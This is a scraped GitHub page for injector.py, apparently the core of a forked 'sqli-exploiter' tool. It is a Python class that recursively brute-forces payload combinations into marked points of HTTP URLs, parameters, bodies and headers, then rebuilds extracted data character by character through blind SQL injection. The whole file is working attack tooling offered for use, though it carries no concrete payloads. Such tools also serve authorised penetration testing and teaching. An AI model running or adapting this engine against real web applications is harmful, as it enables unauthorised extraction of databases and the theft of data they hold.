forked from lanmaster53/sqli-exploiter
-
Notifications
You must be signed in to change notification settings - Fork 1
/
injector.py
108 lines (99 loc) · 3.77 KB
/
injector.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from itertools import product
import logging
import requests
class Injector:
def __init__(self):
self.attack = {}
self.payloads = ()
self.url = ''
self.params = None
self.data = None
self.headers = {}
@staticmethod
def condition(*args, **kwargs):
raise InjectorException('Condition not configured.')
@staticmethod
def success(*args, **kwargs):
raise InjectorException('Success action not configured.')
def set_attack(self, attacks, attack_id, payloads):
# validate and process attack configuration values
if attack_id not in attacks:
raise InjectorException('Invalid attack ID.')
self.attack = attacks[attack_id]
try:
attacks[attack_id]['injection'].format(*range(0, len(payloads)))
except IndexError:
raise InjectorException('Invalid number of payloads for the defined insertion points.')
self.payloads = payloads
# show the attack metadata
logging.warn('Description: {}'.format(self.attack['description']))
logging.warn('Injection: {}'.format(self.attack['injection']))
for i in range(0, len(self.payloads)):
logging.warn('Payload{}: {}'.format(i, list(self.payloads[i])))
def exploit(self, url, params, data, headers):
# validate and process exploit configuration values
if not all((self.attack, self.payloads)):
raise InjectorException('Attack not properly configured.')
# do eeeeet!
self.url = url
self.params = params
self.data = data
self.headers = headers
self.result = ''
try:
self._recurse()
except:
raise
finally:
logging.warning('Result: {}'.format(self.result))
def _recurse(self, i=0, payload={}):
'''
recurses through a dynamic number of payload iterables injecting into the associated insertion point
'''
for p in self.payloads[i]:
payload[i] = p
# recurse to the outermost iterable
if i < len(self.payloads)-1:
i+=1
self._recurse(i, payload)
i-=1
continue
# process the payload
_payload = tuple(payload.values())
logging.info('{}'.format(_payload))
# build the injection
injection = self.attack['injection'].format(*_payload)
injected_kwargs = self._inject(injection)
# build the request
action = requests.post if self.data else requests.get
try:
resp = action(**injected_kwargs)
except Exception:
raise InjectorException('HTTP request failed.')
# process the response
if self.condition(_payload, resp, i):
char = self.success(_payload, resp, i)
logging.warn('{} {}'.format(_payload, char))
self.result += char
return
def _inject(self, injection):
'''
dynamically places the injection in a marked HTTP request element
'''
kwargs = {}
for arg in ('url', 'params', 'data', 'headers'):
_arg = getattr(self, arg)
# url[, params, or data]
if type(_arg) == str:
kwargs[arg] = _arg.replace('*', injection) if '*' in _arg else _arg
# header[, params, or data]
elif type(_arg) == dict:
kwargs[arg] = {}
for k, v in _arg.items():
kwargs[arg][k] = v.replace('*', injection) if '*' in v else v
# anything else
else:
kwargs[arg] = _arg
return kwargs
class InjectorException(Exception):
pass